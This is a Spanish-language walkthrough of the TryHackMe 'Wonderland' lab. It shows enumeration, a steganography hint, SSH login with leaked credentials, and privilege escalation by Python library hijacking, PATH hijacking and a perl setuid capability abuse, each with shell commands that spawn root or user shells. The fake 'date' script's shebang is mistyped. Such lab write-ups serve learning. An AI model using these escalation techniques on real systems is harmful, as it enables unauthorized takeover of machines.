---
# System prepended metadata

title: THM - Wonderland
tags: [tryhackme]

---

---
title: THM - Wonderland
chapter: 1
tags: [tryhackme]
difficulty: medium
---

Para empezar la máquina se realiza un scan de puertos para ver que servicios se encuentra ejecutando.

## Intrusión

```bash=
  nmap -p- --min-rate 2000 10.10.143.3 -sVC
```
![](https://hackmd.io/_uploads/rJhS3Dvcn.png)

Con lo anterior se asume que se esta enfrentando a un reto web, y al revisar dentro de la página se puede encontrar un pequeño fragmento de Alicia

![](https://hackmd.io/_uploads/B1wgaPw53.png)

Al realizar una enumeración de directorios, se encuentra bastante información interesante. Esto gracias a la herramienta gobuster 

```bash=
gobuster dir -u http://10.10.143.3/ -w /usr/share/wordlists/dirb/big.txt -t 100
```
![](https://hackmd.io/_uploads/BksUaDD93.png)

Y al revisar dentro de cada directorio no parece haber nada interesante por ahora.
En el caso de /poem se encuentra un poema 
![](https://hackmd.io/_uploads/H1lR6DPqh.png)

En el caso de /r se encuentra un pequeño mensaje con el titulo "Keep going" y algo que parece ser una pista sobre seguir un camino.
![](https://hackmd.io/_uploads/rkvQRDDqn.png)


En el caso del directorio /img hay 3 imagenes, que parecen algo sospechosas.
![](https://hackmd.io/_uploads/ryKj6Dv5h.png)

Al examinarlas se pueden ver dos imagenes iguales pero con extensiones diferentes. Además de tambien estar la imagen que se encontraba en la página principal.

![](https://hackmd.io/_uploads/Hkv9ADwc2.png)
![](https://hackmd.io/_uploads/Sk8jCPv9h.png)
![](https://hackmd.io/_uploads/B1Z20PDq3.png)

Por lo que es buena idea revisarlas para ver si contienen algún mensaje escondido.

Gracias a stegseek se puede revisar fácilmente, y se encuentra que la imagen del conejo contiene un archivo llamado hint.txt

```bash=
stegseek white_rabbit_1.jpg /usr/share/wordlists/rockyou.txt
```
![](https://hackmd.io/_uploads/SkwjkOv92.png)

y al revisarlo se encuentra la siguiente pista.

![](https://hackmd.io/_uploads/rJrex_wqh.png)

Esto se puede relacionar con lo que se encontro anteriormente en el /r/, puesto que da a entender que hay que continuar con la ruta. Ruta que puede estar dada por r/ a/ b/ b/ i/ t/

Por lo que al revisar dentro de esta dirección se encuentra una página totalmente nueva.

![](https://hackmd.io/_uploads/rJ9pg_Pq2.png)

Al revisarla a simple vista no parece haber nada interesante, pero al ver el código fuente parece haber algo que es de utilidad. Un usuario y una contraseña.

![](https://hackmd.io/_uploads/SkYE-Ow9h.png)

Teniendo en cuenta que anteriormente se encontro un servidor SSH se podría intentar autenticarse con esas credenciales.

```bash=
ssh alice@10.10.143.3
```
Y al probar las credenciales se ha ganado acceso a una cuenta de bajos privilegios.

![](https://hackmd.io/_uploads/SybUG_Dq2.png)

Al revisar dentro de la máquina se encuentra el archivo root.txt dentro del directorio de Alice, pero al revisarlo no se cuenta con los permisos necesarios.

![](https://hackmd.io/_uploads/B1U6M_vq3.png)

Esto se relaciona con la pista que da la máquina
***"Everything is upside down here."***  
Por lo que se podría entender que el archivo user.txt se encuentra dentro del directorio del usuario root, por lo que se puede intentar leerlo.

![](https://hackmd.io/_uploads/SyEBm_D52.png)

Y con esto encontramos la primera flag

## Escalada de privilegios

### alice ---> rabbit 

Al revisar la carpeta de Alice se puede ver un archivo de python que puede llamar la atención, además de que al ver permisos de ejecución este puede ser ejecutado como el usuario rabbit.
```bash=
sudo -l
```

![](https://hackmd.io/_uploads/ry1fV_Pc3.png)

Cuando se revisa lo mas intersante es que esta imporante la libreria random, lo que da pie a una vulnerabilidad llamada python hijacking library. Esta puede explotarse cuando el usuario tiene permisos de escritura dentro de la carpta en donde se encuentra el script. Esto debido a que python revisa el directorio de trabajo antes de revisar las carpetas por defecto, haciendo que se pueda crear un archivo con el mismo nombre, pero que realize lo que el atacante desea.

![](https://hackmd.io/_uploads/H1dCVdD53.png)

```bash=
echo "import os; os.system('/bin/bash');" > random.py
chmod +x random.py
sudo -u  rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
```

Y al crear un fichero en el que se hace uso de la libreria os y se ejecuta el comando /bin/bash se crea una bash como el usuario conejo.

![](https://hackmd.io/_uploads/rkNuruPqh.png)

### rabbit ---> hatter

Ahora como usuario rabbit se revisan los ficheros dentro de su directorio home en donde se encuentra un archivo binario.

![](https://hackmd.io/_uploads/S1H_Ldvcn.png)

Por lo que es buena idea revisarlo haciendo uso de varias herramientas con las que posiblemente no cuente el sistema. Por lo que se monta un servidor en python3 para traerlo a la máquina atacante.

```bash=
python3 -m http.server 8080
```

Y dentro de la máquina atacante se descarga el archivo con el comando wget

```bash=
wget http://10.10.143.3:8080/teaParty
```

Al revisar dentro del archivo con la herramientra strings, se puede ver que el archivo esta ejecutando varios comandos, de los cuales uno se encuentra siendo llamado dentro haciendo uso de una posición relativa, haciendolo vulnerable a un path hijacking.

```bash=
strings teaParty
```
![](https://hackmd.io/_uploads/SJRxduDqh.png)

Un path hijacking consiste en modificar el valor de la variable PATH dentro del sistema operativo, para que ejecute un script malicioso llamado igual que el comando, para así realizar acciones maliciosas en el sistema.

Para llevar esto acabo se debe crear un script en bash llamado date en algun directorio sobre el que se tenga escritura, en este caso el direcotiro de rabbit.

```bash=
!#/bin/bash
/bin/bash
```
![](https://hackmd.io/_uploads/Hy1cF_wq2.png)

Con esto creado solo hace falta modificar la variable PATH para que inicie su recorrido en la carpta actual. Esto se puede hacer la siguiente manera.

```bash=
export PATH=.:$PATH
```
Y ahora solo hace falta ejecutar el script original para ganar privilegios.

![](https://hackmd.io/_uploads/r1Uz5dD5h.png)


### hatter ---> root

Ahora solo queda escalar privilegios hacia el usuario root, pero antes de eso se revisan los archivos dentro del directorio hatter en home, en donde se encuentra la contraseña del mismo.

![](https://hackmd.io/_uploads/Sydi5dv53.png)

Al revisar las capabilities del usuario se encuentran varios que pueden ser interesantes.

```bash=
getcap -r / 2>/dev/null
```
![](https://hackmd.io/_uploads/H1eMo_D9n.png)

Por lo que nos dirigimos a GTFOBINS a ver si se encuentra alguna forma de explotar estos binarios. En donde se encuentra una forma de abusar de perl.

![](https://hackmd.io/_uploads/rJDqouv9n.png)

```bash=
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
```

Por lo que al probarlo se gana acceso como usuario root.

![](https://hackmd.io/_uploads/By22sOw93.png)

Y ahora solo queda revisar el archivo root.txt que se encuentra en el directorio home de Alice.

![](https://hackmd.io/_uploads/Byz-3_P9h.png)
